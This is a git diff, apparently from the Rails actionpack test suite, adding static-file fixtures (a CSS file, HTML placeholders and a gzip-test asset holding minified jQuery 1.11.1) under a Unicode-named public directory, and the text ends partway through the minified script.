index 0000000000..b5173fbef2
--- /dev/null
+++ b/actionpack/test/fixtures/公共/foo/baz.css
@@ -0,0 +1,3 @@
+body {
+background: #000;
+}
diff --git a/actionpack/test/fixtures/公共/foo/index.html b/actionpack/test/fixtures/公共/foo/index.html
new file mode 100644
index 0000000000..497a2e898f
--- /dev/null
+++ b/actionpack/test/fixtures/公共/foo/index.html
@@ -0,0 +1 @@
+/foo/index.html \ No newline at end of file
diff --git a/actionpack/test/fixtures/公共/foo/ã“ã‚“ã«ã¡ã¯.html b/actionpack/test/fixtures/公共/foo/ã“ã‚“ã«ã¡ã¯.html
new file mode 100644
index 0000000000..1df9166522
--- /dev/null
+++ b/actionpack/test/fixtures/公共/foo/ã“ã‚“ã«ã¡ã¯.html
@@ -0,0 +1 @@
+means hello in Japanese
diff --git a/actionpack/test/fixtures/公共/gzip/application-a71b3024f80aea3181c09774ca17e712.js b/actionpack/test/fixtures/公共/gzip/application-a71b3024f80aea3181c09774ca17e712.js
new file mode 100644
index 0000000000..1826a7660e
--- /dev/null
+++ b/actionpack/test/fixtures/公共/gzip/application-a71b3024f80aea3181c09774ca17e712.js
@@ -0,0 +1,4 @@
+!function(e,t){"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){function n(e){var t=e.length,n=it.type(e);return"function"===n||it.isWindow(e)?!1:1===e.nodeType&&t?!0:"array"===n||0===t||"number"==typeof t&&t>0&&t-1 in e}function r(e,t,n){if(it.isFunction(t))return it.grep(e,function(e,r){return!!t.call(e,r,e)!==n});if(t.nodeType)return it.grep(e,function(e){return e===t!==n});if("string"==typeof t){if(ft.test(t))return it.filter(t,e,n);t=it.filter(t,e)}return it.grep(e,function(e){return it.inArray(e,t)>=0!==n})}function i(e,t){do e=e[t];while(e&&1!==e.nodeType);return e}function o(e){var t=xt[e]={};return it.each(e.match(bt)||[],function(e,n){t[n]=!0}),t}function a(){ht.addEventListener?(ht.removeEventListener("DOMContentLoaded",s,!1),e.removeEventListener("load",s,!1)):(ht.detachEvent("onreadystatechange",s),e.detachEvent("onload",s))}function s(){(ht.addEventListener||"load"===event.type||"complete"===ht.readyState)&&(a(),it.ready())}function l(e,t,n){if(void 0===n&&1===e.nodeType){var r="data-"+t.replace(Ct,"-$1").toLowerCase();if(n=e.getAttribute(r),"string"==typeof n){try{n="true"===n?!0:"false"===n?!1:"null"===n?null:+n+""===n?+n:kt.test(n)?it.parseJSON(n):n}catch(i){}it.data(e,t,n)}else n=void 0}return n}function u(e){var t;for(t in e)if(("data"!==t||!it.isEmptyObject(e[t]))&&"toJSON"!==t)return!1;return!0}function c(e,t,n,r){if(it.acceptData(e)){var i,o,a=it.expando,s=e.nodeType,l=s?it.cache:e,u=s?e[a]:e[a]&&a;if(u&&l[u]&&(r||l[u].data)||void 0!==n||"string"!=typeof t)return u||(u=s?e[a]=G.pop()||it.guid++:a),l[u]||(l[u]=s?{}:{toJSON:it.noop}),("object"==typeof t||"function"==typeof t)&&(r?l[u]=it.extend(l[u],t):l[u].data=it.extend(l[u].data,t)),o=l[u],r||(o.data||(o.data={}),o=o.data),void 0!==n&&(o[it.camelCase(t)]=n),"string"==typeof t?(i=o[t],null==i&&(i=o[it.camelCase(t)])):i=o,i}}function d(e,t,n){if(it.acceptData(e)){var r,i,o=e.nodeType,a=o?it.cache:e,s=o?e[it.expando]:it.expando;if(a[s]){if(t&&(r=n?a[s]:a[s].data)){it.isArray(t)?t=t.concat(it.map(t,it.camelCase)):t in r?t=[t]:(t=it.camelCase(t),t=t in r?[t]:t.split(" ")),i=t.length;for(;i--;)delete r[t[i]];if(n?!u(r):!it.isEmptyObject(r))return}(n||(delete a[s].data,u(a[s])))&&(o?it.cleanData([e],!0):nt.deleteExpando||a!=a.window?delete a[s]:a[s]=null)}}}function f(){return!0}function p(){return!1}function h(){try{return ht.activeElement}catch(e){}}function m(e){var t=Mt.split("|"),n=e.createDocumentFragment();if(n.createElement)for(;t.length;)n.createElement(t.pop());return n}function g(e,t){var n,r,i=0,o=typeof e.getElementsByTagName!==Et?e.getElementsByTagName(t||"*"):typeof e.querySelectorAll!==Et?e.querySelectorAll(t||"*"):void 0;if(!o)for(o=[],n=e.childNodes||e;null!=(r=n[i]);i++)!t||it.nodeName(r,t)?o.push(r):it.merge(o,g(r,t));return void 0===t||t&&it.nodeName(e,t)?it.merge([e],o):o}function v(e){Dt.test(e.type)&&(e.defaultChecked=e.checked)}function y(e,t){return it.nodeName(e,"table")&&it.nodeName(11!==t.nodeType?t:t.firstChild,"tr")?e.getElementsByTagName("tbody")[0]||e.appendChild(e.ownerDocument.createElement("tbody")):e}function b(e){return e.type=(null!==it.find.attr(e,"type"))+"/"+e.type,e}function x(e){var t=Vt.exec(e.type);return t?e.type=t[1]:e.removeAttribute("type"),e}function w(e,t){for(var n,r=0;null!=(n=e[r]);r++)it._data(n,"globalEval",!t||it._data(t[r],"globalEval"))}function T(e,t){if(1===t.nodeType&&it.hasData(e)){var n,r,i,o=it._data(e),a=it._data(t,o),s=o.events;if(s){delete a.handle,a.events={};for(n in s)for(r=0,i=s[n].length;i>r;r++)it.event.add(t,n,s[n][r])}a.data&&(a.data=it.extend({},a.data))}}function E(e,t){var n,r,i;if(1===t.nodeType){if(n=t.nodeName.toLowerCase(),!nt.noCloneEvent&&t[it.expando]){i=it._data(t);for(r in i.events)it.removeEvent(t,r,i.handle);t.removeAttribute(it.expando)}"script"===n&&t.text!==e.text?(b(t).text=e.text,x(t)):"object"===n?(t.parentNode&&(t.outerHTML=e.outerHTML),nt.html5Clone&&e.innerHTML&&!it.trim(t.innerHTML)&&(t.innerHTML=e.innerHTML)):"input"===n&&Dt.test(e.type)?(t.defaultChecked=t.checked=e.checked,t.value!==e.value&&(t.value=e.value)):"option"===n?t.defaultSelected=t.selected=e.defaultSelected:("input"===n||"textarea"===n)&&(t.defaultValue=e.defaultValue)}}function k(t,n){var r,i=it(n.createElement(t)).appendTo(n.body),o=e.getDefaultComputedStyle&&(r=e.getDefaultComputedStyle(i[0]))?r.display:it.css(i[0],"display");return i.detach(),o}function C(e){var t=ht,n=Zt[e];return n||(n=k(e,t),"none"!==n&&n||(Qt=(Qt||it("<iframe frameborder='0' width='0' height='0'/>")).appendTo(t.documentElement),t=(Qt[0].contentWindow||Qt[0].contentDocument).document,t.write(),t.close(),n=k(e,t),Qt.detach()),Zt[e]=n),n}function N(e,t){return{get:function(){var n=e();if(null!=n)return n?void delete this.get:(this.get=t).apply(this,arguments)}}}function S(e,t){if(t in e)return t;for(var n=t.charAt(0).toUpperCase()+t.slice(1),r=t,i=pn.length;i--;)if(t=pn[i]+n,t in e)return t;return r}function j(e,t){for(var n,r,i,o=[],a=0,s=e.length;s>a;a++)r=e[a],r.style&&(o[a]=it._data(r,"olddisplay"),n=r.style.display,t?(o[a]||"none"!==n||(r.style.display=""),""===r.style.display&&jt(r)&&(o[a]=it._data(r,"olddisplay",C(r.nodeName)))):(i=jt(r),(n&&"none"!==n||!i)&&it._data(r,"olddisplay",i?n:it.css(r,"display"))));for(a=0;s>a;a++)r=e[a],r.style&&(t&&"none"!==r.style.display&&""!==r.style.display||(r.style.display=t?o[a]||"":"none"));return e}function A(e,t,n){var r=un.exec(t);return r?Math.max(0,r[1]-(n||0))+(r[2]||"px"):t}function D(e,t,n,r,i){for(var o=n===(r?"border":"content")?4:"width"===t?1:0,a=0;4>o;o+=2)"margin"===n&&(a+=it.css(e,n+St[o],!0,i)),r?("content"===n&&(a-=it.css(e,"padding"+St[o],!0,i)),"margin"!==n&&(a-=it.css(e,"border"+St[o]+"Width",!0,i))):(a+=it.css(e,"padding"+St[o],!0,i),"padding"!==n&&(a+=it.css(e,"border"+St[o]+"Width",!0,i)));return a}function L(e,t,n){var r=!0,i="width"===t?e.offsetWidth:e.offsetHeight,o=en(e),a=nt.boxSizing&&"border-box"===it.css(e,"boxSizing",!1,o);if(0>=i||null==i){if(i=tn(e,t,o),(0>i||null==i)&&(i=e.style[t]),rn.test(i))return i;r=a&&(nt.boxSizingReliable()||i===e.style[t]),i=parseFloat(i)||0}return i+D(e,t,n||(a?"border":"content"),r,o)+"px"}function H(e,t,n,r,i){return new H.prototype.init(e,t,n,r,i)}function _(){return setTimeout(function(){hn=void 0}),hn=it.now()}function q(e,t){var n,r={height:e},i=0;for(t=t?1:0;4>i;i+=2-t)n=St[i],r["margin"+n]=r["padding"+n]=e;return t&&(r.opacity=r.width=e),r}function F(e,t,n){for(var r,i=(xn[t]||[]).concat(xn["*"]),o=0,a=i.length;a>o;o++)if(r=i[o].call(n,t,e))return r}function M(e,t,n){var r,i,o,a,s,l,u,c,d=this,f={},p=e.style,h=e.nodeType&&jt(e),m=it._data(e,"fxshow");n.queue||(s=it._queueHooks(e,"fx"),null==s.unqueued&&(s.unqueued=0,l=s.empty.fire,s.empty.fire=function(){s.unqueued||l()}),s.unqueued++,d.always(function(){d.always(function(){s.unqueued--,it.queue(e,"fx").length||s.empty.fire()})})),1===e.nodeType&&("height"in t||"width"in t)&&(n.overflow=[p.overflow,p.overflowX,p.overflowY],u=it.css(e,"display"),c="none"===u?it._data(e,"olddisplay")||C(e.nodeName):u,"inline"===c&&"none"===it.css(e,"float")&&(nt.inlineBlockNeedsLayout&&"inline"!==C(e.nodeName)?p.zoom=1:p.display="inline-block")),n.overflow&&(p.overflow="hidden",nt.shrinkWrapBlocks()||d.always(function(){p.overflow=n.overflow[0],p.overflowX=n.overflow[1],p.overflowY=n.overflow[2]}));for(r in t)if(i=t[r],gn.exec(i)){if(delete t[r],o=o||"toggle"===i,i===(h?"hide":"show")){if("show"!==i||!m||void 0===m[r])continue;h=!0}f[r]=m&&m[r]||it.style(e,r)}else u=void 0;if(it.isEmptyObject(f))"inline"===("none"===u?C(e.nodeName):u)&&(p.display=u);else{m?"hidden"in m&&(h=m.hidden):m=it._data(e,"fxshow",{}),o&&(m.hidden=!h),h?it(e).show():d.done(function(){it(e).hide()}),d.done(function(){var t;it._removeData(e,"fxshow");for(t in f)it.style(e,t,f[t])});for(r in f)a=F(h?m[r]:0,r,d),r in m||(m[r]=a.start,h&&(a.end=a.start,a.start="width"===r||"height"===r?1:0))}}function O(e,t){var n,r,i,o,a;for(n in e)if(r=it.camelCase(n),i=t[r],o=e[n],it.isArray(o)&&(i=o[1],o=e[n]=o[0]),n!==r&&(e[r]=o,delete e[n]),a=it.cssHooks[r],a&&"expand"in a){o=a.expand(o),delete e[r];for(n in o)n in e||(e[n]=o[n],t[n]=i)}else t[r]=i}function R(e,t,n){var r,i,o=0,a=bn.length,s=it.Deferred().always(function(){delete l.elem}),l=function(){if(i)return!1;for(var t=hn||_(),n=Math.max(0,u.startTime+u.duration-t),r=n/u.duration||0,o=1-r,a=0,l=u.tweens.length;l>a;a++)u.tweens[a].run(o);return s.notifyWith(e,[u,o,n]),1>o&&l?n:(s.resolveWith(e,[u]),!1)},u=s.promise({elem:e,props:it.extend({},t),opts:it.extend(!0,{specialEasing:{}},n),originalProperties:t,originalOptions:n,startTime:hn||_(),duration:n.duration,tweens:[],createTween:function(t,n){var r=it.Tween(e,u.opts,t,n,u.opts.specialEasing[t]||u.opts.easing);return u.tweens.push(r),r},stop:function(t){var n=0,r=t?u.tweens.length:0;if(i)return this;for(i=!0;r>n;n++)u.tweens[n].run(1);return t?s.resolveWith(e,[u,t]):s.rejectWith(e,[u,t]),this}}),c=u.props;for(O(c,u.opts.specialEasing);a>o;o++)if(r=bn[o].call(u,e,c,u.opts))return r;return it.map(c,F,u),it.isFunction(u.opts.start)&&u.opts.start.call(e,u),it.fx.timer(it.extend(l,{elem:e,anim:u,queue:u.opts.queue})),u.progress(u.opts.progress).done(u.opts.done,u.opts.complete).fail(u.opts.fail).always(u.opts.always)}function B(e){return function(t,n){"string"!=typeof t&&(n=t,t="*");var r,i=0,o=t.toLowerCase().match(bt)||[];if(it.isFunction(n))for(;r=o[i++];)"+"===r.charAt(0)?(r=r.slice(1)||"*",(e[r]=e[r]||[]).unshift(n)):(e[r]=e[r]||[]).push(n)}}function P(e,t,n,r){function i(s){var l;return o[s]=!0,it.each(e[s]||[],function(e,s){var u=s(t,n,r);return"string"!=typeof u||a||o[u]?a?!(l=u):void 0:(t.dataTypes.unshift(u),i(u),!1)}),l}var o={},a=e===zn;return i(t.dataTypes[0])||!o["*"]&&i("*")}function I(e,t){var n,r,i=it.ajaxSettings.flatOptions||{};for(r in t)void 0!==t[r]&&((i[r]?e:n||(n={}))[r]=t[r]);return n&&it.extend(!0,e,n),e}function W(e,t,n){for(var r,i,o,a,s=e.contents,l=e.dataTypes;"*"===l[0];)l.shift(),void 0===i&&(i=e.mimeType||t.getResponseHeader("Content-Type"));if(i)for(a in s)if(s[a]&&s[a].test(i)){l.unshift(a);break}if(l[0]in n)o=l[0];else{for(a in n){if(!l[0]||e.converters[a+" "+l[0]]){o=a;break}r||(r=a)}o=o||r}return o?(o!==l[0]&&l.unshift(o),n[o]):void 0}function $(e,t,n,r){var i,o,a,s,l,u={},c=e.dataTypes.slice();if(c[1])for(a in e.converters)u[a.toLowerCase()]=e.converters[a];for(o=c.shift();o;)if(e.responseFields[o]&&(n[e.responseFields[o]]=t),!l&&r&&e.dataFilter&&(t=e.dataFilter(t,e.dataType)),l=o,o=c.shift())if("*"===o)o=l;else if("*"!==l&&l!==o){if(a=u[l+" "+o]||u["* "+o],!a)for(i in u)if(s=i.split(" "),s[1]===o&&(a=u[l+" "+s[0]]||u["* "+s[0]])){a===!0?a=u[i]:u[i]!==!0&&(o=s[0],c.unshift(s[1]));break}if(a!==!0)if(a&&e["throws"])t=a(t);else try{t=a(t)}catch(d){return{state:"parsererror",error:a?d:"No conversion from "+l+" to "+o}}}return{state:"success",data:t}}function z(e,t,n,r){var i;if(it.isArray(t))it.each(t,function(t,i){n||Gn.test(e)?r(e,i):z(e+"["+("object"==typeof i?t:"")+"]",i,n,r)});else if(n||"object"!==it.type(t))r(e,t);else for(i in t)z(e+"["+i+"]",t[i],n,r)}function X(){try{return new e.XMLHttpRequest}catch(t){}}function U(){try{return new e.ActiveXObject("Microsoft.XMLHTTP")}catch(t){}}function V(e){return it.isWindow(e)?e:9===e.nodeType?e.defaultView||e.parentWindow:!1}var G=[],Y=G.slice,J=G.concat,K=G.push,Q=G.indexOf,Z={},et=Z.toString,tt=Z.hasOwnProperty,nt={},rt="1.11.1",it=function(e,t){return new it.fn.init(e,t)},ot=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,at=/^-ms-/,st=/-([\da-z])/gi,lt=function(e,t){return t.toUpperCase()};it.fn=it.prototype={jquery:rt,constructor:it,selector:"",length:0,toArray:function(){return Y.call(this)},get:function(e){return null!=e?0>e?this[e+this.length]:this[e]:Y.call(this)},pushStack:function(e){var t=it.merge(this.constructor(),e);return t.prevObject=this,t.context=this.context,t},each:function(e,t){return it.each(this,e,t)},map:function(e){return this.pushStack(it.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(Y.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(0>e?t:0);return this.pushStack(n>=0&&t>n?[this[n]]:[])},end:function(){return this.prevObject||this.constructor(null)},push:K,sort:G.sort,splice:G.splice},it.extend=it.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,l=arguments.length,u=!1;for("boolean"==typeof a&&(u=a,a=arguments[s]||{},s++),"object"==typeof a||it.isFunction(a)||(a={}),s===l&&(a=this,s--);l>s;s++)if(null!=(i=arguments[s]))for(r in i)e=a[r],n=i[r],a!==n&&(u&&n&&(it.isPlainObject(n)||(t=it.isArray(n)))?(t?(t=!1,o=e&&it.isArray(e)?e:[]):o=e&&it.isPlainObject(e)?e:{},a[r]=it.extend(u,o,n)):void 0!==n&&(a[r]=n));return a},it.extend({expando:"jQuery"+(rt+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isFunction:function(e){return"function"===it.type(e)},isArray:Array.isArray||function(e){return"array"===it.type(e)},isWindow:function(e){return null!=e&&e==e.window},isNumeric:function(e){return!it.isArray(e)&&e-parseFloat(e)>=0},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},isPlainObject:function(e){var t;if(!e||"object"!==it.type(e)||e.nodeType||it.isWindow(e))return!1;try{if(e.constructor&&!tt.call(e,"constructor")&&!tt.call(e.constructor.prototype,"isPrototypeOf"))return!1}catch(n){return!1}if(nt.ownLast)for(t in e)return tt.call(e,t);for(t in e);return void 0===t||tt.call(e,t)},type:function(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?Z[et.call(e)]||"object":typeof e},globalEval:function(t){t&&it.trim(t)&&(e.execScript||function(t){e.eval.call(e,t)})(t)},camelCase:function(e){return e.replace(at,"ms-").replace(st,lt)},nodeName:function(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()},each:function(e,t,r){var i,o=0,a=e.length,s=n(e);if(r){if(s)for(;a>o&&(i=t.apply(e[o],r),i!==!1);o++);else for(o in e)if(i=t.apply(e[o],r),i===!1)break}else if(s)for(;a>o&&(i=t.call(e[o],o,e[o]),i!==!1);o++);else for(o in e)if(i=t.call(e[o],o,e[o]),i===!1)break;return e},trim:function(e){return null==e?"":(e+"").replace(ot,"")},makeArray:function(e,t){var r=t||[];return null!=e&&(n(Object(e))?it.merge(r,"string"==typeof e?[e]:e):K.call(r,e)),r},inArray:function(e,t,n){var r;if(t){if(Q)return Q.call(t,e,n);for(r=t.length,n=n?0>n?Math.max(0,r+n):n:0;r>n;n++)if(n in t&&t[n]===e)return n}return-1},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;n>r;)e[i++]=t[r++];if(n!==n)for(;void 0!==t[r];)e[i++]=t[r++];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;a>o;o++)r=!t(e[o],o),r!==s&&i.push(e[o]);return i},map:function(e,t,r){var i,o=0,a=e.length,s=n(e),l=[];if(s)for(;a>o;o++)i=t(e[o],o,r),null!=i&&l.push(i);else for(o in e)i=t(e[o],o,r),null!=i&&l.push(i);return J.apply([],l)},guid:1,proxy:function(e,t){var n,r,i;return"string"==typeof t&&(i=e[t],t=e,e=i),it.isFunction(e)?(n=Y.call(arguments,2),r=function(){return e.apply(t||this,n.concat(Y.call(arguments)))},r.guid=e.guid=e.guid||it.guid++,r):void 0},now:function(){return+new Date},support:nt}),it.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(e,t){Z["[object "+t+"]"]=t.toLowerCase()});var ut=function(e){function t(e,t,n,r){var i,o,a,s,l,u,d,p,h,m;if((t?t.ownerDocument||t:P)!==H&&L(t),t=t||H,n=n||[],!e||"string"!=typeof e)return n;if(1!==(s=t.nodeType)&&9!==s)return[];if(q&&!r){if(i=yt.exec(e))if(a=i[1]){if(9===s){if(o=t.getElementById(a),!o||!o.parentNode)return n;if(o.id===a)return n.push(o),n}else if(t.ownerDocument&&(o=t.ownerDocument.getElementById(a))&&R(t,o)&&o.id===a)return n.push(o),n}else{if(i[2])return Z.apply(n,t.getElementsByTagName(e)),n;if((a=i[3])&&w.getElementsByClassName&&t.getElementsByClassName)return Z.apply(n,t.getElementsByClassName(a)),n}if(w.qsa&&(!F||!F.test(e))){if(p=d=B,h=t,m=9===s&&e,1===s&&"object"!==t.nodeName.toLowerCase()){for(u=C(e),(d=t.getAttribute("id"))?p=d.replace(xt,"\\$&"):t.setAttribute("id",p),p="[id='"+p+"'] ",l=u.length;l--;)u[l]=p+f(u[l]);h=bt.test(e)&&c(t.parentNode)||t,m=u.join(",")}if(m)try{return Z.apply(n,h.querySelectorAll(m)),n}catch(g){}finally{d||t.removeAttribute("id")}}}return S(e.replace(lt,"$1"),t,n,r)}function n(){function e(n,r){return t.push(n+" ")>T.cacheLength&&delete e[t.shift()],e[n+" "]=r}var t=[];return e}function r(e){return e[B]=!0,e}function i(e){var t=H.createElement("div");try{return!!e(t)}catch(n){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function o(e,t){for(var n=e.split("|"),r=e.length;r--;)T.attrHandle[n[r]]=t}function a(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&(~t.sourceIndex||G)-(~e.sourceIndex||G);if(r)return r;if(n)for(;n=n.nextSibling;)if(n===t)return-1;return e?1:-1}function s(e){return function(t){var n=t.nodeName.toLowerCase();return"input"===n&&t.type===e}}function l(e){return function(t){var n=t.nodeName.toLowerCase();return("input"===n||"button"===n)&&t.type===e}}function u(e){return r(function(t){return t=+t,r(function(n,r){for(var i,o=e([],n.length,t),a=o.length;a--;)n[i=o[a]]&&(n[i]=!(r[i]=n[i]))})})}function c(e){return e&&typeof e.getElementsByTagName!==V&&e}function d(){}function f(e){for(var t=0,n=e.length,r="";n>t;t++)r+=e[t].value;return r}function p(e,t,n){var r=t.dir,i=n&&"parentNode"===r,o=W++;return t.first?function(t,n,o){for(;t=t[r];)if(1===t.nodeType||i)return e(t,n,o)}:function(t,n,a){var s,l,u=[I,o];if(a){for(;t=t[r];)if((1===t.nodeType||i)&&e(t,n,a))return!0}else for(;t=t[r];)if(1===t.nodeType||i){if(l=t[B]||(t[B]={}),(s=l[r])&&s[0]===I&&s[1]===o)return u[2]=s[2];if(l[r]=u,u[2]=e(t,n,a))return!0}}}function h(e){return e.length>1?function(t,n,r){for(var i=e.length;i--;)if(!e[i](t,n,r))return!1;return!0}:e[0]}function m(e,n,r){for(var i=0,o=n.length;o>i;i++)t(e,n[i],r);return r}function g(e,t,n,r,i){for(var o,a=[],s=0,l=e.length,u=null!=t;l>s;s++)(o=e[s])&&(!n||n(o,r,i))&&(a.push(o),u&&t.push(s));return a}function v(e,t,n,i,o,a){return i&&!i[B]&&(i=v(i)),o&&!o[B]&&(o=v(o,a)),r(function(r,a,s,l){var u,c,d,f=[],p=[],h=a.length,v=r||m(t||"*",s.nodeType?[s]:s,[]),y=!e||!r&&t?v:g(v,f,e,s,l),b=n?o||(r?e:h||i)?[]:a:y;if(n&&n(y,b,s,l),i)for(u=g(b,p),i(u,[],s,l),c=u.length;c--;)(d=u[c])&&(b[p[c]]=!(y[p[c]]=d));if(r){if(o||e){if(o){for(u=[],c=b.length;c--;)(d=b[c])&&u.push(y[c]=d);o(null,b=[],u,l)}for(c=b.length;c--;)(d=b[c])&&(u=o?tt.call(r,d):f[c])>-1&&(r[u]=!(a[u]=d))}}else b=g(b===a?b.splice(h,b.length):b),o?o(null,a,b,l):Z.apply(a,b)})}function y(e){for(var t,n,r,i=e.length,o=T.relative[e[0].type],a=o||T.relative[" "],s=o?1:0,l=p(function(e){return e===t},a,!0),u=p(function(e){return tt.call(t,e)>-1},a,!0),c=[function(e,n,r){return!o&&(r||n!==j)||((t=n).nodeType?l(e,n,r):u(e,n,r))}];i>s;s++)if(n=T.relative[e[s].type])c=[p(h(c),n)];else{if(n=T.filter[e[s].type].apply(null,e[s].matches),n[B]){for(r=++s;i>r&&!T.relative[e[r].type];r++);return v(s>1&&h(c),s>1&&f(e.slice(0,s-1).concat({value:" "===e[s-2].type?"*":""})).replace(lt,"$1"),n,r>s&&y(e.slice(s,r)),i>r&&y(e=e.slice(r)),i>r&&f(e))}c.push(n)}return h(c)}function b(e,n){var i=n.length>0,o=e.length>0,a=function(r,a,s,l,u){var c,d,f,p=0,h="0",m=r&&[],v=[],y=j,b=r||o&&T.find.TAG("*",u),x=I+=null==y?1:Math.random()||.1,w=b.length;for(u&&(j=a!==H&&a);h!==w&&null!=(c=b[h]);h++){if(o&&c){for(d=0;f=e[d++];)if(f(c,a,s)){l.push(c);break}u&&(I=x)}i&&((c=!f&&c)&&p--,r&&m.push(c))}if(p+=h,i&&h!==p){for(d=0;f=n[d++];)f(m,v,a,s);if(r){if(p>0)for(;h--;)m[h]||v[h]||(v[h]=K.call(l));v=g(v)}Z.apply(l,v),u&&!r&&v.length>0&&p+n.length>1&&t.uniqueSort(l)}return u&&(I=x,j=y),m};return i?r(a):a}var x,w,T,E,k,C,N,S,j,A,D,L,H,_,q,F,M,O,R,B="sizzle"+-new Date,P=e.document,I=0,W=0,$=n(),z=n(),X=n(),U=function(e,t){return e===t&&(D=!0),0},V="undefined",G=1<<31,Y={}.hasOwnProperty,J=[],K=J.pop,Q=J.push,Z=J.push,et=J.slice,tt=J.indexOf||function(e){for(var t=0,n=this.length;n>t;t++)if(this[t]===e)return t;return-1},nt="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",rt="[\\x20\\t\\r\\n\\f]",it="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",ot=it.replace("w","w#"),at="\\["+rt+"*("+it+")(?:"+rt+"*([*^$|!~]?=)"+rt+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+ot+"))|)"+rt+"*\\]",st=":("+it+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+at+")*)|.*)\\)|)",lt=new RegExp("^"+rt+"+|((?:^|[^\\\\])(?:\\\\.)*)"+rt+"+$","g"),ut=new RegExp("^"+rt+"*,"+rt+"*"),ct=new RegExp("^"+rt+"*([>+~]|"+rt+")"+rt+"*"),dt=new RegExp("="+rt+"*([^\\]'\"]*?)"+rt+"*\\]","g"),ft=new RegExp(st),pt=new RegExp("^"+ot+"$"),ht={ID:new RegExp("^#("+it+")"),CLASS:new RegExp("^\\.("+it+")"),TAG:new RegExp("^("+it.replace("w","w*")+")"),ATTR:new RegExp("^"+at),PSEUDO:new RegExp("^"+st),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+rt+"*(even|odd|(([+-]|)(\\d*)n|)"+rt+"*(?:([+-]|)"+rt+"*(\\d+)|))"+rt+"*\\)|)","i"),bool:new RegExp("^(?:"+nt+")$","i"),needsContext:new RegExp("^"+rt+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+rt+"*((?:-\\d)?\\d*)"+rt+"*\\)|)(?=[^-]|$)","i")},mt=/^(?:input|select|textarea|button)$/i,gt=/^h\d$/i,vt=/^[^{]+\{\s*\[native \w/,yt=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,bt=/[+~]/,xt=/'|\\/g,wt=new RegExp("\\\\([\\da-f]{1,6}"+rt+"?|("+rt+")|.)","ig"),Tt=function(e,t,n){var r="0x"+t-65536;return r!==r||n?t:0>r?String.fromCharCode(r+65536):String.fromCharCode(r>>10|55296,1023&r|56320)};try{Z.apply(J=et.call(P.childNodes),P.childNodes),J[P.childNodes.length].nodeType}catch(Et){Z={apply:J.length?function(e,t){Q.apply(e,et.call(t))}:function(e,t){for(var n=e.length,r=0;e[n++]=t[r++];);e.length=n-1}}}w=t.support={},k=t.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return t?"HTML"!==t.nodeName:!1},L=t.setDocument=function(e){var t,n=e?e.ownerDocument||e:P,r=n.defaultView;return n!==H&&9===n.nodeType&&n.documentElement?(H=n,_=n.documentElement,q=!k(n),r&&r!==r.top&&(r.addEventListener?r.addEventListener("unload",function(){L()},!1):r.attachEvent&&r.attachEvent("onunload",function(){L()})),w.attributes=i(function(e){return e.className="i",!e.getAttribute("className")}),w.getElementsByTagName=i(function(e){return e.appendChild(n.createComment("")),!e.getElementsByTagName("*").length}),w.getElementsByClassName=vt.test(n.getElementsByClassName)&&i(function(e){return e.innerHTML="<div class='a'></div><div class='a i'></div>",e.firstChild.className="i",2===e.getElementsByClassName("i").length}),w.getById=i(function(e){return _.appendChild(e).id=B,!n.getElementsByName||!n.getElementsByName(B).length}),w.getById?(T.find.ID=function(e,t){if(typeof t.getElementById!==V&&q){var n=t.getElementById(e);return n&&n.parentNode?[n]:[]}},T.filter.ID=function(e){var t=e.replace(wt,Tt);return function(e){return e.getAttribute("id")===t}}):(delete T.find.ID,T.filter.ID=function(e){var t=e.replace(wt,Tt);return function(e){var n=typeof e.getAttributeNode!==V&&e.getAttributeNode("id");return n&&n.value===t}}),T.find.TAG=w.getElementsByTagName?function(e,t){return typeof t.getElementsByTagName!==V?t.getElementsByTagName(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){for(;n=o[i++];)1===n.nodeType&&r.push(n);return r}return o},T.find.CLASS=w.getElementsByClassName&&function(e,t){return typeof t.getElementsByClassName!==V&&q?t.getElementsByClassName(e):void 0},M=[],F=[],(w.qsa=vt.test(n.querySelectorAll))&&(i(function(e){e.innerHTML="<select msallowclip=''><option selected=''></option></select>",e.querySelectorAll("[msallowclip^='']").length&&F.push("[*^$]="+rt+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||F.push("\\["+rt+"*(?:value|"+nt+")"),e.querySelectorAll(":checked").length||F.push(":checked")}),i(function(e){var t=n.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&F.push("name"+rt+"*[*^$|!~]?="),e.querySelectorAll(":enabled").length||F.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),F.push(",.*:")})),(w.matchesSelector=vt.test(O=_.matches||_.webkitMatchesSelector||_.mozMatchesSelector||_.oMatchesSelector||_.msMatchesSelector))&&i(function(e){w.disconnectedMatch=O.call(e,"div"),O.call(e,"[s!='']:x"),M.push("!=",st)}),F=F.length&&new RegExp(F.join("|")),M=M.length&&new 